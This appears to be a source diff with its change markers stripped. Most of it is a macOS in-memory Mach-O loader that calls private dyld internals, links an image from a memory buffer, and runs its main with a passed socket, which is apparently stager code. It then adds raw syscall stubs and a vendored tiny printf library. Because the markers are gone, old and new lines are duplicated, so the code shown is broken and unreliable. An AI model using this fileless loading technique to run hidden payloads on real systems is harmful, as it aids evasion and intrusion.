GetMA_ptr GetMA_func = find_symbol(sdyld, "__ZNK5dyld46Loader11loadAddressERNS_12RuntimeStateE", sdyld);
GetMA_ptr GetMA_func = find_symbol(sdyld, "__ZNK5dyld46Loader11loadAddressERNS_12RuntimeStateE", offset2);
const void* * ma = GetMA_func(ldr, apis);
HasThreadLocalVariables_ptr HasThreadLocalVariables_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile23hasThreadLocalVariablesEv", sdyld);
HasThreadLocalVariables_ptr HasThreadLocalVariables_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile23hasThreadLocalVariablesEv", offset2);
if (HasThreadLocalVariables_func(ma) == true) {
#ifdef DEBUG
print("Has local variables.\n");
#endif
SetUpTLVs_ptr SetUpTLVs_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState9setUpTLVsEPKN5dyld313MachOAnalyzerE", sdyld);
SetUpTLVs_ptr SetUpTLVs_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState9setUpTLVsEPKN5dyld313MachOAnalyzerE", offset2);
SetUpTLVs_func(apis, ma);
}
};
}
IncDlRefCount_ptr IncDlRefCount_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState13incDlRefCountEPKNS_6LoaderE", sdyld);
IncDlRefCount_ptr IncDlRefCount_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState13incDlRefCountEPKNS_6LoaderE", offset2);
IncDlRefCount_func(apis, topLoader);
#ifdef DEBUG
print("Notifying.\n");
#endif
NotifyLoad_ptr NotifyLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState10notifyLoadERKN5dyld35ArrayIPKNS_6LoaderEEE", sdyld);
NotifyLoad_ptr NotifyLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState10notifyLoadERKNSt3__14spanIPKNS_6LoaderELm18446744073709551615EEE", offset2);
NotifyLoad_func(apis, &newLoadersArray);
#ifdef DEBUG
print("Initializing\n");
#endif
RunInitializers_ptr RunInitializers_func = find_symbol(sdyld, "__ZNK5dyld46Loader38runInitializersBottomUpPlusUpwardLinksERNS_12RuntimeStateE", sdyld);
RunInitializers_ptr RunInitializers_func = find_symbol(sdyld, "__ZNK5dyld46Loader38runInitializersBottomUpPlusUpwardLinksERNS_12RuntimeStateE", offset2);
RunInitializers_func(topLoader, apis);
*rtopLoader = (uint64_t)topLoader;
});
} else {
WithLoadersWriteLock_ptr WithLoadersWriteLock_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState20withLoadersWriteLockEU13block_pointerFvvE", offset2);
WithLoadersWriteLock_func(apis, ^(){
struct Loaded * loaded = (struct Loaded*)(apis+32);
uintptr_t startLoaderCount = loaded->size;
printf("Loaded Size: %lld\n", loaded->size);
printf("Loaded first: %lld\n", (loaded->elements));
printf("Loaded Capacity: %lld\n", loaded->capacity);
struct FileID * fileid = (struct FileID *)(rtopLoader+sizeof(void *));// = { 0, 0, false };
fileid->iNode = 0;
fileid->modTime = 0;
fileid->isValid = false;
printf("Apis: %lld\n", apis);
printf("LoadAddress: %lld\n", loadAddress);
printf("JITLMP: %lld\n", JustInTimeLoaderMake_func);
void * topLoader = JustInTimeLoaderMake_func(apis, (void *)loadAddress, "", fileid, 0, false, true, false, 0, 0);
printf("TopLoader: %lld\n", topLoader);
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
printf("Loaded Size: %lld\n", loaded->size);
printf("Loaded Capacity: %lld\n", loaded->capacity);
struct PartialLoader * pl = (struct PartialLoader *)topLoader;
printf("LoadAddress: %lld\n", pl->mappedAddress);
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
printf("hidden: %lld\n", pl->hidden);
printf("Magic: %lld\n", pl->magic);
printf("IsPrebuilt: %lld\n", pl->isPrebuilt);
pl->lateLeaveMapped = 1;
pl = (struct PartialLoader *)topLoader;
printf("lateLeaveMapped: %lld\n", pl->lateLeaveMapped);
struct LoadChain * loadChainMain = (struct LoadChain *)(fileid+sizeof(struct FileID));// = { 0, *(void **)(apis+24) };
loadChainMain->previous = 0;
loadChainMain->image = *(void **)(apis+24);
printf("mainExecutableLoader: %lld\n", *(void **)(apis+24));
printf("mainExecutableLoader: %lld\n", loadChainMain->image);
struct LoadChain * loadChainCaller = (struct LoadChain *)(loadChainMain+sizeof(struct LoadChain));// = { &loadChainMain, &(loaded->elements[0]) };
loadChainCaller->previous = &loadChainMain;
loadChainCaller->image = &(loaded->elements[0]);
printf("LoadedElements: %lld\n", &(loaded->elements[0]));
printf("Toploader (*(int*)this): %i\n", *(int *)topLoader);
struct LoadChain * loadChain = (struct LoadChain *)(loadChainCaller+sizeof(struct LoadChain));// = { &loadChainCaller, topLoader };
loadChain->previous = &loadChainCaller;
loadChain->image = topLoader;
struct LoadOptions * depOptions = (struct LoadOptions *)(loadChain+sizeof(struct LoadChain));
depOptions->staticLinkage = false;
depOptions->rtldLocal = false; // RTLD_LOCAL only effects top level dylib
depOptions->rtldNoDelete = true;
depOptions->canBeDylib = true;
depOptions->rpathStack = loadChain;
depOptions->useFallBackPaths = true;
LoadDependents_ptr LoadDependents_func = find_symbol(sdyld, "__ZN5dyld46Loader14loadDependentsER11DiagnosticsRNS_12RuntimeStateERKNS0_11LoadOptionsE", offset2);
struct diagnostics * diag = (struct diagnostics *)(depOptions+sizeof(struct LoadOptions));
diag->_buffer = 0;
LoadDependents_func(topLoader, diag, apis, depOptions);
if (diag->_buffer != 0) {
print("Error\n");
};
printf("buffer: %lld\n", diag->_buffer);
printf("startLoaderCount: %lld\n", startLoaderCount);
uint64_t newLoadersCount = loaded->size - startLoaderCount;
printf("newLoadersCount: %lld\n", newLoadersCount);
void * * newLoaders = &loaded->elements[startLoaderCount];
struct ArrayOfLoaderPointers newLoadersArray = { newLoaders, newLoadersCount, newLoadersCount };
if (newLoadersCount != 0) {
NotifyDebuggerLoad_ptr NotifyDebuggerLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState18notifyDebuggerLoadERKN5dyld35ArrayIPKNS_6LoaderEEE", offset2);
NotifyDebuggerLoad_func(apis, &newLoadersArray);
if (*(char *)(apis + 0x7f) != '\0') {
AddWeakDefs_ptr AddWeakDefs_func = find_symbol(sdyld, "__ZN5dyld46Loader16addWeakDefsToMapERNS_12RuntimeStateERKN5dyld35ArrayIPKS0_EE", offset2);
AddWeakDefs_func(apis, &newLoadersArray);
print("WeakRefed\n");
}
ApplyFixups_ptr ApplyFixups_func = find_symbol(sdyld, "__ZNK5dyld46Loader11applyFixupsER11DiagnosticsRNS_12RuntimeStateERNS_34DyldCacheDataConstLazyScopedWriterEb", offset2);
struct DyldCacheDataConstLazyScopedWriter dcdclsw = { apis, false };
for (int i = 0; i != newLoadersCount; ++i) {
print("Fixing Up!\n");
void * ldr = newLoaders[i];
printf("Ldr: %lld\n", ldr);
ApplyFixups_func(ldr, diag, apis, &dcdclsw, true);
printf("Diag: %lld\n", diag->_buffer);
}
// TODO: Figure out if we need addPermanentRanges.
NotifyDtrace_ptr NotifyDtrace_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState12notifyDtraceERKN5dyld35ArrayIPKNS_6LoaderEEE", offset2);
NotifyDtrace_func(apis, &newLoadersArray);
RebindMissingFlatLazySymbols_ptr RebindMissingFlatLazySymbols_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState28rebindMissingFlatLazySymbolsERKN5dyld35ArrayIPKNS_6LoaderEEE", offset2);
RebindMissingFlatLazySymbols_func(apis, &newLoadersArray);
for (int i = 0; i != newLoadersCount; ++i) {
void * ldr = newLoaders[i];
print("Setting up locals.\n");
GetMA_ptr GetMA_func = find_symbol(sdyld, "__ZNK5dyld46Loader11loadAddressERNS_12RuntimeStateE", offset2);
const void* * ma = GetMA_func(ldr, apis);
HasThreadLocalVariables_ptr HasThreadLocalVariables_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile23hasThreadLocalVariablesEv", offset2);
if (HasThreadLocalVariables_func(ma) == true) {
print("Has local variables.\n");
SetUpTLVs_ptr SetUpTLVs_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState9setUpTLVsEPKN5dyld313MachOAnalyzerE", offset2);
SetUpTLVs_func(apis, ma);
}
};
}
IncDlRefCount_ptr IncDlRefCount_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState13incDlRefCountEPKNS_6LoaderE", offset2);
IncDlRefCount_func(apis, topLoader);
print("Notifying.\n");
NotifyLoad_ptr NotifyLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState10notifyLoadERKN5dyld35ArrayIPKNS_6LoaderEEE", offset2);
NotifyLoad_func(apis, &newLoadersArray);
print("Initializing\n");
RunInitializers_ptr RunInitializers_func = find_symbol(sdyld, "__ZNK5dyld46Loader38runInitializersBottomUpPlusUpwardLinksERNS_12RuntimeStateE", offset2);
RunInitializers_func(topLoader, apis);
*rtopLoader = (uint64_t)topLoader;
});
}
uintptr_t flags = 0;
void* handle = (void*)((((uintptr_t)*rtopLoader) << 1) | flags);
#ifdef DEBUG
SimpleDPrintf_func(1, "Handle: %lld\n", handle);
#endif
VMDeallocate_ptr VMDeallocate_func = find_symbol(sdyld, "_vm_deallocate", sdyld);
void* handle = 0;
if (ventura) {
HandleFromLoader_ptr HandleFromLoader_func = find_symbol(sdyld, "__ZN5dyld4L16handleFromLoaderEPKNS_6LoaderEb", offset2);
handle = HandleFromLoader_func((void *)*rtopLoader, false);
} else {
handle = (void*)((((uintptr_t)*rtopLoader) << 1) | flags);
}
printf("Handle: %lld\n", handle);
VMDeallocate_ptr VMDeallocate_func = find_symbol(sdyld, "_vm_deallocate", offset2);
VMDeallocate_func(mach_task_self, (void *)structspace, structspacesize);
#ifdef DEBUG
SimpleDPrintf_func(1, "VMDeallocated: %lld\n", structspace);
#endif
printf("VMDeallocated: %lld\n", structspace);
NSModule nm = handle;
NSLookupSymbolInModule_ptr NSLookupSymbolInModule_func = find_symbol(dyld, "_NSLookupSymbolInModule", offset);
NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main");
#ifdef DEBUG
SimpleDPrintf_func(1, "sym_main: %lld\n", sym_main);
#endif
printf("sym_main: %lld\n", sym_main);
NSAddressOfSymbol_ptr NSAddressOfSymbol_func = find_symbol(dyld, "_NSAddressOfSymbol", offset);
addr_main = NSAddressOfSymbol_func(sym_main);
} else {
@@ -683,20 +771,14 @@ int main(int argc, char** argv)
if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) {
return 1;
}
#ifdef DEBUG
print("created!\n");
#endif
NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR);
if (!nm) {
#ifdef DEBUG
print("no nm!\n");
#endif
return 1;
}
#ifdef DEBUG
print("good nm!\n");
#endif
NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main");
if (!sym_main) {
@@ -708,9 +790,7 @@ int main(int argc, char** argv)
return 1;
}
#ifdef DEBUG
print("found main!\n");
#endif
};
int(*main_func)(int, char**) = (int(*)(int, char**))addr_main;
char* socket = (char*)(size_t)argc;
@@ -773,6 +853,17 @@ uint64_t syscall_chmod(uint64_t path, long mode)
{
uint64_t chmod_no = 0x200000f;
uint64_t ret = 0;
#ifdef __aarch64__
__asm__(
"mov x16, %1;\n"
"mov x0, %2;\n"
"mov x1, %3;\n"
"svc #0;\n"
"mov %0, x0;\n"
: "=r"(ret)
: "r"(chmod_no), "r"(path), "r"(mode)
:);
#else
__asm__(
"movq %1, %%rax;\n"
"movq %2, %%rdi;\n"
@@ -782,6 +873,7 @@ uint64_t syscall_chmod(uint64_t path, long mode)
: "=g"(ret)
: "g"(chmod_no), "S"(path), "g"(mode)
:);
#endif
return ret;
}
@@ -843,6 +935,21 @@ int detect_sierra()
uint64_t valsizeptr = (uint64_t)&size;
uint64_t ret = 0;
#ifdef __aarch64__
__asm__(
"mov x16, %1;\n"
"mov x0, %2;\n"
"mov x1, %3;\n"
"mov x2, %4;\n"
"mov x3, %5;\n"
"eor x4, x4, x4;\n"
"eor x5, x5, x5;\n"
"svc #0;\n"
"mov %0, x0;\n"
: "=r"(ret)
: "r"(sc_sysctl), "r"(nameptr), "r"(namelen), "r"(valptr), "r"(valsizeptr)
: );
#else
__asm__(
"mov %1, %%rax;\n"
"mov %2, %%rdi;\n"
@@ -856,6 +963,7 @@ int detect_sierra()
: "=g"(ret)
: "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr)
: );
#endif
// osrelease is 16.x.x on Sierra
if (ret == 0 && size > 2) {
@@ -874,6 +982,16 @@ uint64_t syscall_shared_region_check_np()
long shared_region_check_np = 0x2000126; // #294
uint64_t address = 0;
unsigned long ret = 0;
#ifdef __aarch64__
__asm__(
"mov x16, %1;\n"
"mov x0, %2;\n"
"svc #0;\n"
"mov %0, x0;\n"
: "=r"(ret)
: "r"(shared_region_check_np), "r"(&address)
: "x16", "x0" );
#else
__asm__(
"movq %1, %%rax;\n"
"movq %2, %%rdi;\n"
@@ -882,6 +1000,7 @@ uint64_t syscall_shared_region_check_np()
: "=g"(ret)
: "g"(shared_region_check_np), "g"(&address)
: "rax", "rdi" );
#endif
return address;
}
@@ -916,6 +1035,18 @@ void print(char * str)
unsigned long long addr = (unsigned long long) str;
unsigned long ret = 0;
/* ret = write(stdout, str, len); */
#ifdef __aarch64__
__asm__(
"mov x16, %1;\n"
"mov x0, %2;\n"
"mov x1, %3;\n"
"mov x2, %4;\n"
"svc #0;\n"
"mov %0, x0;\n"
: "=r"(ret)
: "r"(write), "r"(stdout), "r"(addr), "r"(len)
: "x0", "x1", "x2" );
#else
__asm__(
"movq %1, %%rax;\n"
"movq %2, %%rdi;\n"
@@ -926,5 +1057,6 @@ void print(char * str)
: "=g"(ret)
: "g"(write), "g"(stdout), "S"(addr), "g"(len)
: "rax", "rdi", "rdx" );
#endif
}
#endif
+914
View File
@@ -0,0 +1,914 @@
///////////////////////////////////////////////////////////////////////////////
// \author (c) Marco Paland (info@paland.com)
// 2014-2019, PALANDesign Hannover, Germany
//
// \license The MIT License (MIT)
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// \brief Tiny printf, sprintf and (v)snprintf implementation, optimized for speed on
// embedded systems with a very limited resources. These routines are thread
// safe and reentrant!
// Use this instead of the bloated standard/newlib printf cause these use
// malloc for printf (and may not be thread safe).
//
///////////////////////////////////////////////////////////////////////////////
#include <stdbool.h>
#include <stdint.h>
#include "printf.h"
// define this globally (e.g. gcc -DPRINTF_INCLUDE_CONFIG_H ...) to include the
// printf_config.h header file
// default: undefined
#ifdef PRINTF_INCLUDE_CONFIG_H
#include "printf_config.h"
#endif
// 'ntoa' conversion buffer size, this must be big enough to hold one converted
// numeric number including padded zeros (dynamically created on stack)
// default: 32 byte
#ifndef PRINTF_NTOA_BUFFER_SIZE
#define PRINTF_NTOA_BUFFER_SIZE 32U
#endif
// 'ftoa' conversion buffer size, this must be big enough to hold one converted
// float number including padded zeros (dynamically created on stack)
// default: 32 byte
#ifndef PRINTF_FTOA_BUFFER_SIZE
#define PRINTF_FTOA_BUFFER_SIZE 32U
#endif
// support for the floating point type (%f)
// default: activated
#ifndef PRINTF_DISABLE_SUPPORT_FLOAT
#define PRINTF_SUPPORT_FLOAT
#endif
// support for exponential floating point notation (%e/%g)
// default: activated
#ifndef PRINTF_DISABLE_SUPPORT_EXPONENTIAL
#define PRINTF_SUPPORT_EXPONENTIAL
#endif
// define the default floating point precision
// default: 6 digits
#ifndef PRINTF_DEFAULT_FLOAT_PRECISION
#define PRINTF_DEFAULT_FLOAT_PRECISION 6U
#endif
// define the largest float suitable to print with %f
// default: 1e9
#ifndef PRINTF_MAX_FLOAT
#define PRINTF_MAX_FLOAT 1e9
#endif
// support for the long long types (%llu or %p)
// default: activated
#ifndef PRINTF_DISABLE_SUPPORT_LONG_LONG
#define PRINTF_SUPPORT_LONG_LONG
#endif
// support for the ptrdiff_t type (%t)
// ptrdiff_t is normally defined in <stddef.h> as long or long long type
// default: activated
#ifndef PRINTF_DISABLE_SUPPORT_PTRDIFF_T
#define PRINTF_SUPPORT_PTRDIFF_T
#endif
///////////////////////////////////////////////////////////////////////////////
// internal flag definitions
#define FLAGS_ZEROPAD (1U << 0U)
#define FLAGS_LEFT (1U << 1U)
#define FLAGS_PLUS (1U << 2U)
#define FLAGS_SPACE (1U << 3U)
#define FLAGS_HASH (1U << 4U)
#define FLAGS_UPPERCASE (1U << 5U)
#define FLAGS_CHAR (1U << 6U)
#define FLAGS_SHORT (1U << 7U)
#define FLAGS_LONG (1U << 8U)
#define FLAGS_LONG_LONG (1U << 9U)
#define FLAGS_PRECISION (1U << 10U)
#define FLAGS_ADAPT_EXP (1U << 11U)
// import float.h for DBL_MAX
#if defined(PRINTF_SUPPORT_FLOAT)
#include <float.h>
#endif
// output function type
typedef void (*out_fct_type)(char character, void* buffer, size_t idx, size_t maxlen);
// wrapper (used as buffer) for output function type
typedef struct {
void (*fct)(char character, void* arg);
void* arg;
} out_fct_wrap_type;
// internal buffer output
static inline void _out_buffer(char character, void* buffer, size_t idx, size_t maxlen)
{
if (idx < maxlen) {
((char*)buffer)[idx] = character;
}
}
// internal null output
static inline void _out_null(char character, void* buffer, size_t idx, size_t maxlen)
{
(void)character; (void)buffer; (void)idx; (void)maxlen;
}
// internal _putchar wrapper
static inline void _out_char(char character, void* buffer, size_t idx, size_t maxlen)
{
(void)buffer; (void)idx; (void)maxlen;
if (character) {
_putchar(character);
}
}
// internal output function wrapper
static inline void _out_fct(char character, void* buffer, size_t idx, size_t maxlen)
{
(void)idx; (void)maxlen;
if (character) {
// buffer is the output fct pointer
((out_fct_wrap_type*)buffer)->fct(character, ((out_fct_wrap_type*)buffer)->arg);
}
}
// internal secure strlen
// \return The length of the string (excluding the terminating 0) limited by 'maxsize'
static inline unsigned int _strnlen_s(const char* str, size_t maxsize)
{
const char* s;
for (s = str; *s && maxsize--; ++s);
return (unsigned int)(s - str);
}
// internal test if char is a digit (0-9)
// \return true if char is a digit
static inline bool _is_digit(char ch)
{
return (ch >= '0') && (ch <= '9');
}
// internal ASCII string to unsigned int conversion
static unsigned int _atoi(const char** str)
{
unsigned int i = 0U;
while (_is_digit(**str)) {
i = i * 10U + (unsigned int)(*((*str)++) - '0');
}
return i;
}
// output the specified string in reverse, taking care of any zero-padding
static size_t _out_rev(out_fct_type out, char* buffer, size_t idx, size_t maxlen, const char* buf, size_t len, unsigned int width, unsigned int flags)
{
const size_t start_idx = idx;
// pad spaces up to given width
if (!(flags & FLAGS_LEFT) && !(flags & FLAGS_ZEROPAD)) {
for (size_t i = len; i < width; i++) {
out(' ', buffer, idx++, maxlen);
}
}
// reverse string
while (len) {
out(buf[--len], buffer, idx++, maxlen);
}
// append pad spaces up to given width
if (flags & FLAGS_LEFT) {
while (idx - start_idx < width) {
out(' ', buffer, idx++, maxlen);
}
}
return idx;
}
// internal itoa format
static size_t _ntoa_format(out_fct_type out, char* buffer, size_t idx, size_t maxlen, char* buf, size_t len, bool negative, unsigned int base, unsigned int prec, unsigned int width, unsigned int flags)
{
// pad leading zeros
if (!(flags & FLAGS_LEFT)) {
if (width && (flags & FLAGS_ZEROPAD) && (negative || (flags & (FLAGS_PLUS | FLAGS_SPACE)))) {
width--;
}
while ((len < prec) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
buf[len++] = '0';
}
while ((flags & FLAGS_ZEROPAD) && (len < width) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
buf[len++] = '0';
}
}
// handle hash
if (flags & FLAGS_HASH) {
if (!(flags & FLAGS_PRECISION) && len && ((len == prec) || (len == width))) {
len--;
if (len && (base == 16U)) {
len--;
}
}
if ((base == 16U) && !(flags & FLAGS_UPPERCASE) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
buf[len++] = 'x';
}
else if ((base == 16U) && (flags & FLAGS_UPPERCASE) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
buf[len++] = 'X';
}
else if ((base == 2U) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
buf[len++] = 'b';
}
if (len < PRINTF_NTOA_BUFFER_SIZE) {
buf[len++] = '0';
}
}
if (len < PRINTF_NTOA_BUFFER_SIZE) {
if (negative) {
buf[len++] = '-';
}
else if (flags & FLAGS_PLUS) {
buf[len++] = '+'; // ignore the space if the '+' exists
}
else if (flags & FLAGS_SPACE) {
buf[len++] = ' ';
}
}
return _out_rev(out, buffer, idx, maxlen, buf, len, width, flags);
}
// internal itoa for 'long' type
static size_t _ntoa_long(out_fct_type out, char* buffer, size_t idx, size_t maxlen, unsigned long value, bool negative, unsigned long base, unsigned int prec, unsigned int width, unsigned int flags)
{
char buf[PRINTF_NTOA_BUFFER_SIZE];
size_t len = 0U;
// no hash for 0 values
if (!value) {
flags &= ~FLAGS_HASH;
}
// write if precision != 0 and value is != 0
if (!(flags & FLAGS_PRECISION) || value) {
do {
const char digit = (char)(value % base);
buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10;
value /= base;
} while (value && (len < PRINTF_NTOA_BUFFER_SIZE));
}
return _ntoa_format(out, buffer, idx, maxlen, buf, len, negative, (unsigned int)base, prec, width, flags);
}
// internal itoa for 'long long' type
#if defined(PRINTF_SUPPORT_LONG_LONG)
static size_t _ntoa_long_long(out_fct_type out, char* buffer, size_t idx, size_t maxlen, unsigned long long value, bool negative, unsigned long long base, unsigned int prec, unsigned int width, unsigned int flags)
{
char buf[PRINTF_NTOA_BUFFER_SIZE];
size_t len = 0U;
// no hash for 0 values
if (!value) {
flags &= ~FLAGS_HASH;
}
// write if precision != 0 and value is != 0
if (!(flags & FLAGS_PRECISION) || value) {
do {
const char digit = (char)(value % base);
buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10;
value /= base;
} while (value && (len < PRINTF_NTOA_BUFFER_SIZE));
}
return _ntoa_format(out, buffer, idx, maxlen, buf, len, negative, (unsigned int)base, prec, width, flags);
}
#endif // PRINTF_SUPPORT_LONG_LONG
#if defined(PRINTF_SUPPORT_FLOAT)
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
// forward declaration so that _ftoa can switch to exp notation for values > PRINTF_MAX_FLOAT
static size_t _etoa(out_fct_type out, char* buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags);
#endif
// internal ftoa for fixed decimal floating point
static size_t _ftoa(out_fct_type out, char* buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags)
{
char buf[PRINTF_FTOA_BUFFER_SIZE];
size_t len = 0U;
double diff = 0.0;
// powers of 10
static const double pow10[] = { 1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000, 1000000000 };
// test for special values
if (value != value)
return _out_rev(out, buffer, idx, maxlen, "nan", 3, width, flags);
if (value < -DBL_MAX)
return _out_rev(out, buffer, idx, maxlen, "fni-", 4, width, flags);
if (value > DBL_MAX)
return _out_rev(out, buffer, idx, maxlen, (flags & FLAGS_PLUS) ? "fni+" : "fni", (flags & FLAGS_PLUS) ? 4U : 3U, width, flags);
// test for very large values
// standard printf behavior is to print EVERY whole number digit -- which could be 100s of characters overflowing your buffers == bad
if ((value > PRINTF_MAX_FLOAT) || (value < -PRINTF_MAX_FLOAT)) {
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
return _etoa(out, buffer, idx, maxlen, value, prec, width, flags);
#else
return 0U;
#endif
}
// test for negative
bool negative = false;
if (value < 0) {
negative = true;
value = 0 - value;
}
// set default precision, if not set explicitly
if (!(flags & FLAGS_PRECISION)) {
prec = PRINTF_DEFAULT_FLOAT_PRECISION;
}
// limit precision to 9, cause a prec >= 10 can lead to overflow errors
while ((len < PRINTF_FTOA_BUFFER_SIZE) && (prec > 9U)) {
buf[len++] = '0';
prec--;
}
int whole = (int)value;
double tmp = (value - whole) * pow10[prec];
unsigned long frac = (unsigned long)tmp;
diff = tmp - frac;
if (diff > 0.5) {
++frac;
// handle rollover, e.g. case 0.99 with prec 1 is 1.0
if (frac >= pow10[prec]) {
frac = 0;
++whole;
}
}
else if (diff < 0.5) {
}
else if ((frac == 0U) || (frac & 1U)) {
// if halfway, round up if odd OR if last digit is 0
++frac;
}
if (prec == 0U) {
diff = value - (double)whole;
if ((!(diff < 0.5) || (diff > 0.5)) && (whole & 1)) {
// exactly 0.5 and ODD, then round up
// 1.5 -> 2, but 2.5 -> 2
++whole;
}
}
else {
unsigned int count = prec;
// now do fractional part, as an unsigned number
while (len < PRINTF_FTOA_BUFFER_SIZE) {
--count;
buf[len++] = (char)(48U + (frac % 10U));
if (!(frac /= 10U)) {
break;
}
}
// add extra 0s
while ((len < PRINTF_FTOA_BUFFER_SIZE) && (count-- > 0U)) {
buf[len++] = '0';
}
if (len < PRINTF_FTOA_BUFFER_SIZE) {
// add decimal
buf[len++] = '.';
}
}
// do whole part, number is reversed
while (len < PRINTF_FTOA_BUFFER_SIZE) {
buf[len++] = (char)(48 + (whole % 10));
if (!(whole /= 10)) {
break;
}
}
// pad leading zeros
if (!(flags & FLAGS_LEFT) && (flags & FLAGS_ZEROPAD)) {
if (width && (negative || (flags & (FLAGS_PLUS | FLAGS_SPACE)))) {
width--;
}
while ((len < width) && (len < PRINTF_FTOA_BUFFER_SIZE)) {
buf[len++] = '0';
}
}
if (len < PRINTF_FTOA_BUFFER_SIZE) {
if (negative) {
buf[len++] = '-';
}
else if (flags & FLAGS_PLUS) {
buf[len++] = '+'; // ignore the space if the '+' exists
}
else if (flags & FLAGS_SPACE) {
buf[len++] = ' ';
}
}
return _out_rev(out, buffer, idx, maxlen, buf, len, width, flags);
}
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
// internal ftoa variant for exponential floating-point type, contributed by Martijn Jasperse <m.jasperse@gmail.com>
static size_t _etoa(out_fct_type out, char* buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags)
{
// check for NaN and special values
if ((value != value) || (value > DBL_MAX) || (value < -DBL_MAX)) {
return _ftoa(out, buffer, idx, maxlen, value, prec, width, flags);
}
// determine the sign
const bool negative = value < 0;
if (negative) {
value = -value;
}
// default precision
if (!(flags & FLAGS_PRECISION)) {
prec = PRINTF_DEFAULT_FLOAT_PRECISION;
}
// determine the decimal exponent
// based on the algorithm by David Gay (https://www.ampl.com/netlib/fp/dtoa.c)
union {
uint64_t U;
double F;
} conv;
conv.F = value;
int exp2 = (int)((conv.U >> 52U) & 0x07FFU) - 1023; // effectively log2
conv.U = (conv.U & ((1ULL << 52U) - 1U)) | (1023ULL << 52U); // drop the exponent so conv.F is now in [1,2)
// now approximate log10 from the log2 integer part and an expansion of ln around 1.5
int expval = (int)(0.1760912590558 + exp2 * 0.301029995663981 + (conv.F - 1.5) * 0.289529654602168);
// now we want to compute 10^expval but we want to be sure it won't overflow
exp2 = (int)(expval * 3.321928094887362 + 0.5);
const double z = expval * 2.302585092994046 - exp2 * 0.6931471805599453;
const double z2 = z * z;
conv.U = (uint64_t)(exp2 + 1023) << 52U;
// compute exp(z) using continued fractions, see https://en.wikipedia.org/wiki/Exponential_function#Continued_fractions_for_ex
conv.F *= 1 + 2 * z / (2 - z + (z2 / (6 + (z2 / (10 + z2 / 14)))));
// correct for rounding errors
if (value < conv.F) {
expval--;
conv.F /= 10;
}
// the exponent format is "%+03d" and largest value is "307", so set aside 4-5 characters
unsigned int minwidth = ((expval < 100) && (expval > -100)) ? 4U : 5U;
// in "%g" mode, "prec" is the number of *significant figures* not decimals
if (flags & FLAGS_ADAPT_EXP) {
// do we want to fall-back to "%f" mode?
if ((value >= 1e-4) && (value < 1e6)) {
if ((int)prec > expval) {
prec = (unsigned)((int)prec - expval - 1);
}
else {
prec = 0;
}
flags |= FLAGS_PRECISION; // make sure _ftoa respects precision
// no characters in exponent
minwidth = 0U;
expval = 0;
}
else {
// we use one sigfig for the whole part
if ((prec > 0) && (flags & FLAGS_PRECISION)) {
--prec;
}
}
}
// will everything fit?
unsigned int fwidth = width;
if (width > minwidth) {
// we didn't fall-back so subtract the characters required for the exponent
fwidth -= minwidth;
} else {
// not enough characters, so go back to default sizing
fwidth = 0U;
}
if ((flags & FLAGS_LEFT) && minwidth) {
// if we're padding on the right, DON'T pad the floating part
fwidth = 0U;
}
// rescale the float value
if (expval) {
value /= conv.F;
}
// output the floating part
const size_t start_idx = idx;
idx = _ftoa(out, buffer, idx, maxlen, negative ? -value : value, prec, fwidth, flags & ~FLAGS_ADAPT_EXP);
// output the exponent part
if (minwidth) {
// output the exponential symbol
out((flags & FLAGS_UPPERCASE) ? 'E' : 'e', buffer, idx++, maxlen);
